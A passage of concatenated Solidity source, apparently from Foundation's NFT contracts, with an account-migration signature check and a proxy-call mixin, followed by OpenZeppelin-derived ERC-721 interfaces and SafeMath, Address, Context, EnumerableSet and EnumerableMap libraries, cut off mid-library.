import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./roles/FoundationOperatorRole.sol";
import "../interfaces/IERC1271.sol";
/**
* @notice Checks for a valid signature authorizing the migration of an account to a new address.
* @dev This is shared by both the FNDNFT721 and FNDNFTMarket, and the same signature authorizes both.
*/
abstract contract AccountMigration is FoundationOperatorRole {
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.1.0/contracts/utils/cryptography
function _isValidSignatureNow(
address signer,
bytes32 hash,
bytes memory signature
) private view returns (bool) {
if (Address.isContract(signer)) {
try IERC1271(signer).isValidSignature(hash, signature) returns (bytes4 magicValue) {
return magicValue == IERC1271(signer).isValidSignature.selector;
} catch {
return false;
}
} else {
return ECDSA.recover(hash, signature) == signer;
}
}
// From https://ethereum.stackexchange.com/questions/8346/convert-address-to-string
function _toAsciiString(address x) private pure returns (string memory) {
bytes memory s = new bytes(42);
s[0] = "0";
s[1] = "x";
for (uint256 i = 0; i < 20; i++) {
bytes1 b = bytes1(uint8(uint256(uint160(x)) / (2**(8 * (19 - i)))));
bytes1 hi = bytes1(uint8(b) / 16);
bytes1 lo = bytes1(uint8(b) - 16 * uint8(hi));
s[2 * i + 2] = _char(hi);
s[2 * i + 3] = _char(lo);
}
return string(s);
}
function _char(bytes1 b) private pure returns (bytes1 c) {
if (uint8(b) < 10) return bytes1(uint8(b) + 0x30);
else return bytes1(uint8(b) + 0x57);
}
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.1.0/contracts/utils/cryptography/ECDSA.sol
// Modified to accept messages (instead of the message hash)
function _toEthSignedMessage(bytes memory message) private pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(message.length), message));
}
/**
* @dev Confirms the msg.sender is a Foundation operator and that the signature provided is valid.
* @param signature Message `I authorize Foundation to migrate my account to ${newAccount.address.toLowerCase()}`
* signed by the original account.
*/
modifier onlyAuthorizedAccountMigration(
address originalAddress,
address newAddress,
bytes memory signature
) {
require(_isFoundationOperator(), "AccountMigration: Caller is not an operator");
require(originalAddress != newAddress, "AccountMigration: Cannot migrate to the same account");
bytes32 hash = _toEthSignedMessage(
abi.encodePacked("I authorize Foundation to migrate my account to ", _toAsciiString(newAddress))
);
require(
_isValidSignatureNow(originalAddress, hash, signature),
"AccountMigration: Signature must be from the original account"
);
_;
}
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
import "../interfaces/IProxyCall.sol";
/**
* @notice Forwards arbitrary calls to an external contract to be processed.
* @dev This is used so that the from address of the calling contract does not have
* any special permissions (e.g. ERC-20 transfer).
*/
abstract contract NFT721ProxyCall {
using AddressUpgradeable for address payable;
IProxyCall private proxyCall;
event ProxyCallContractUpdated(address indexed proxyCallContract);
/**
* @dev Called by the adminUpdateConfig function to set the address of the proxy call contract.
*/
function _updateProxyCall(address proxyCallContract) internal {
proxyCall = IProxyCall(proxyCallContract);
emit ProxyCallContractUpdated(proxyCallContract);
}
/**
* @notice Returns the address of the current proxy call contract.
*/
function proxyCallAddress() external view returns (address) {
return address(proxyCall);
}
/**
* @dev Used by other mixins to make external calls through the proxy contract.
* This will fail if the proxyCall address is address(0).
*/
function _proxyCallAndReturnContractAddress(address externalContract, bytes memory callData)
internal
returns (address payable result)
{
result = proxyCall.proxyCallAndReturnAddress(externalContract, callData);
require(result.isContract(), "NFT721ProxyCall: address returned is not a contract");
}
// This mixin uses a total of 100 slots
uint256[99] private ______gap;
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
/**
* @dev A gap to represent the space previously consumed by the use of ERC165Upgradeable.
*/
abstract contract ERC165UpgradeableGap {
uint256[50] private ______gap;
}
// SPDX-License-Identifier: MIT
/**
* From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.2.0/contracts/utils/introspection/IERC165.sol
* Modified to support Solidity 0.7
*/
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
/**
* From https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/v3.4.0/contracts/token/ERC721
* Modified in order to:
* - replace ERC165Upgradeable with ERC165.
*/
pragma solidity ^0.7.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721Upgradeable {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve}
* or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which
* is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called
* upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* From https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/v3.4.0/contracts/token/ERC721
* Modified in order to:
* - Only include metadata functions
*/
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721MetadataUpgradeable {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
/**
* From https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/v3.4.0/contracts/token/ERC721
* Modified in order to:
* - Only include Enumerable functions
*/
pragma solidity ^0.7.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721EnumerableUpgradeable {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSetUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMapUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
